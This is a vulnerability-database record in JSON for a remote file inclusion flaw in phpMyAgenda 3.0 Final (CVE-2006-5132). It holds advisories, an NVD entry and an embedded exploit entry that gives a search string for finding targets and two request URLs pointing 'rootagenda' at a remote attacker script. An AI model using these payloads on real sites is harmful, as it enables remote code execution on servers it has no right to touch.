{"edition": 1, "title": "phpMyAgenda infoevent.php3 rootagenda Variable Remote File Inclusion", "bulletinFamily": "software", "published": "2006-04-24T12:32:35", "lastseen": "2017-04-28T13:20:25", "history": [], "modified": "2006-04-24T12:32:35", "reporter": "Aesthetico(admin@majorsecurity.de)", "hash": "d3391b0dce2eecfd20d9d8a6966b3cee8d64fc3901863d505dd1a2a2dcf3b4e4", "viewCount": 1, "href": "https://vulners.com/osvdb/OSVDB:29150", "description": "## Vulnerability Description\nphpMyAgenda contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to infoevent.php3 not properly sanitizing user input supplied to the 'rootagenda' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 3.1 beta 1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nphpMyAgenda contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to infoevent.php3 not properly sanitizing user input supplied to the 'rootagenda' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## References:\nVendor URL: http://phpmyagenda.com/\nVendor Specific News/Changelog Entry: http://sourceforge.net/forum/forum.php?forum_id=569237\nSecurity Tracker: 1015984\n[Secunia Advisory ID:19748](https://secuniaresearch.flexerasoftware.com/advisories/19748/)\n[Related OSVDB ID: 29149](https://vulners.com/osvdb/OSVDB:29149)\n[Related OSVDB ID: 29151](https://vulners.com/osvdb/OSVDB:29151)\n[Related OSVDB ID: 24943](https://vulners.com/osvdb/OSVDB:24943)\n[Related OSVDB ID: 29148](https://vulners.com/osvdb/OSVDB:29148)\nOther Advisory URL: http://osvdb.org/ref/29/2914x-phpmyagenda.txt\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-04/0503.html\nISS X-Force ID: 26062\nGeneric Exploit URL: http://downloads.securityfocus.com/vulnerabilities/exploits/phpMyAgenda_fi.txt\nFrSIRT Advisory: ADV-2006-1509\n[CVE-2006-5132](https://vulners.com/cve/CVE-2006-5132)\nBugtraq ID: 17670\n", "affectedSoftware": [{"name": "phpMyAgenda", "version": "3.0 Final", "operator": "eq"}], "type": "osvdb", "hashmap": [{"key": "affectedSoftware", "hash": "97b91f7cc337f5bd6cc8290c3ed594ec"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "330897ae40ab284574f4172e3b5a8d89"}, {"key": "cvss", "hash": "e5d275b3ebd62646b78320753699e02e"}, {"key": "description", "hash": "60064adc0a4d3ca4dc45bb9a661be78e"}, {"key": "href", "hash": "6548819d415ec03e078b5ec51af16388"}, {"key": "modified", "hash": "d12eda4dd851f421ea080b084d1df32b"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "d12eda4dd851f421ea080b084d1df32b"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "b1657e5b2ff0039b991c477d6de37acb"}, {"key": "title", "hash": "575f3499c15555180a4590091dd70b53"}, {"key": "type", "hash": "1327ac71f7914948578f08c54f772b10"}], "references": [], "objectVersion": "1.2", "enchantments": {"score": {"value": 6.8, "vector": "NONE", "modified": "2017-04-28T13:20:25"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2006-5132"]}, {"type": "osvdb", "idList": ["OSVDB:29151", "OSVDB:29149", "OSVDB:29148"]}, {"type": "exploitdb", "idList": ["EDB-ID:1731"]}], "modified": "2017-04-28T13:20:25"}, "vulnersScore": 6.8}, "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 7.5}, "cvelist": ["CVE-2006-5132"], "id": "OSVDB:29150"}

{"cve": [{"lastseen": "2019-05-29T18:08:34", "bulletinFamily": "NVD", "description": "Multiple PHP remote file inclusion vulnerabilities in phpMyAgenda 3.0 Final and earlier allow remote attackers to execute arbitrary PHP code via a URL in the rootagenda parameter to (1) agendaplace.php3, (2) agendaplace2.php3, (3) infoevent.php3, and (4) agenda2.php3, different vectors than CVE-2006-2009.", "modified": "2017-07-20T01:33:00", "id": "CVE-2006-5132", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5132", "published": "2006-10-03T04:03:00", "title": "CVE-2006-5132", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2016-01-31T14:46:51", "bulletinFamily": "exploit", "description": "phpMyAgenda <= 3.0 Final (rootagenda) Remote Include Vulnerability. CVE-2006-5132. Webapps exploit for php platform", "modified": "2006-04-30T00:00:00", "published": "2006-04-30T00:00:00", "id": "EDB-ID:1731", "href": "https://www.exploit-db.com/exploits/1731/", "type": "exploitdb", "title": "phpMyAgenda <= 3.0 Final rootagenda Remote Include Vulnerability", "sourceData": "Title: phpMyAgenda <=3.0 Final - Remote File Include Vulnerability\n-----------------------------------------------------------------\nVendor: phpMyAgenda\nURL: http://phpmyagenda.com\n-----------------------------------------------------------------\n\nCredits:\nDiscovered by: 'Aesthetico'\nhttp://www.majorsecurity.de\n-----------------------------------------------------------------\nSearch for: \"Powered by phpMyAgenda\"\n-----------------------------------------------------------------\n\nExploitation:\n\n/agenda.php3?rootagenda=http://www.yourspace.com/yourscript.php?\n/agenda2.php3?rootagenda=http://www.yourspace.com/yourscript.txt?\n\n# milw0rm.com [2006-04-30]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/1731/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "description": "## Vulnerability Description\nphpMyAgenda contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to agendaplace.php3 not properly sanitizing user input supplied to the 'rootagenda' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 3.1 beta 1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nphpMyAgenda contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to agendaplace.php3 not properly sanitizing user input supplied to the 'rootagenda' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## References:\nVendor URL: http://phpmyagenda.com/\nVendor Specific News/Changelog Entry: http://sourceforge.net/forum/forum.php?forum_id=569237\nSecurity Tracker: 1015984\n[Secunia Advisory ID:19748](https://secuniaresearch.flexerasoftware.com/advisories/19748/)\n[Related OSVDB ID: 29150](https://vulners.com/osvdb/OSVDB:29150)\n[Related OSVDB ID: 29149](https://vulners.com/osvdb/OSVDB:29149)\n[Related OSVDB ID: 29151](https://vulners.com/osvdb/OSVDB:29151)\n[Related OSVDB ID: 24943](https://vulners.com/osvdb/OSVDB:24943)\nOther Advisory URL: http://osvdb.org/ref/29/2914x-phpmyagenda.txt\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-04/0503.html\nISS X-Force ID: 26062\nGeneric Exploit URL: http://downloads.securityfocus.com/vulnerabilities/exploits/phpMyAgenda_fi.txt\nFrSIRT Advisory: ADV-2006-1509\n[CVE-2006-5132](https://vulners.com/cve/CVE-2006-5132)\nBugtraq ID: 17670\n", "modified": "2006-04-24T12:32:35", "published": "2006-04-24T12:32:35", "href": "https://vulners.com/osvdb/OSVDB:29148", "id": "OSVDB:29148", "title": "phpMyAgenda agendaplace.php3 rootagenda Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "description": "## Vulnerability Description\nphpMyAgenda contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to agendaplace2.php3 not properly sanitizing user input supplied to the 'rootagenda' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 3.1 beta 1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nphpMyAgenda contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to agendaplace2.php3 not properly sanitizing user input supplied to the 'rootagenda' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## References:\nVendor URL: http://phpmyagenda.com/\nVendor Specific News/Changelog Entry: http://sourceforge.net/forum/forum.php?forum_id=569237\nSecurity Tracker: 1015984\n[Secunia Advisory ID:19748](https://secuniaresearch.flexerasoftware.com/advisories/19748/)\n[Related OSVDB ID: 29150](https://vulners.com/osvdb/OSVDB:29150)\n[Related OSVDB ID: 29151](https://vulners.com/osvdb/OSVDB:29151)\n[Related OSVDB ID: 24943](https://vulners.com/osvdb/OSVDB:24943)\n[Related OSVDB ID: 29148](https://vulners.com/osvdb/OSVDB:29148)\nOther Advisory URL: http://osvdb.org/ref/29/2914x-phpmyagenda.txt\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-04/0503.html\nISS X-Force ID: 26062\nGeneric Exploit URL: http://downloads.securityfocus.com/vulnerabilities/exploits/phpMyAgenda_fi.txt\nFrSIRT Advisory: ADV-2006-1509\n[CVE-2006-5132](https://vulners.com/cve/CVE-2006-5132)\nBugtraq ID: 17670\n", "modified": "2006-04-24T12:32:35", "published": "2006-04-24T12:32:35", "href": "https://vulners.com/osvdb/OSVDB:29149", "id": "OSVDB:29149", "title": "phpMyAgenda agendaplace2.php3 rootagenda Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "description": "## Vulnerability Description\nphpMyAgenda contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to agenda2.php3 not properly sanitizing user input supplied to the 'rootagenda' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 3.1 beta 1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nphpMyAgenda contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to agenda2.php3 not properly sanitizing user input supplied to the 'rootagenda' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## References:\nVendor URL: http://phpmyagenda.com/\nVendor Specific News/Changelog Entry: http://sourceforge.net/forum/forum.php?forum_id=569237\nSecurity Tracker: 1015984\n[Secunia Advisory ID:19748](https://secuniaresearch.flexerasoftware.com/advisories/19748/)\n[Related OSVDB ID: 29150](https://vulners.com/osvdb/OSVDB:29150)\n[Related OSVDB ID: 29153](https://vulners.com/osvdb/OSVDB:29153)\n[Related OSVDB ID: 29149](https://vulners.com/osvdb/OSVDB:29149)\n[Related OSVDB ID: 24943](https://vulners.com/osvdb/OSVDB:24943)\n[Related OSVDB ID: 29148](https://vulners.com/osvdb/OSVDB:29148)\nOther Advisory URL: http://osvdb.org/ref/29/2914x-phpmyagenda.txt\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-04/0503.html\nISS X-Force ID: 26062\nGeneric Exploit URL: http://downloads.securityfocus.com/vulnerabilities/exploits/phpMyAgenda_fi.txt\nFrSIRT Advisory: ADV-2006-1509\n[CVE-2006-5132](https://vulners.com/cve/CVE-2006-5132)\nBugtraq ID: 17670\n", "modified": "2006-04-24T12:32:35", "published": "2006-04-24T12:32:35", "href": "https://vulners.com/osvdb/OSVDB:29151", "id": "OSVDB:29151", "title": "phpMyAgenda agenda2.php3 rootagenda Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}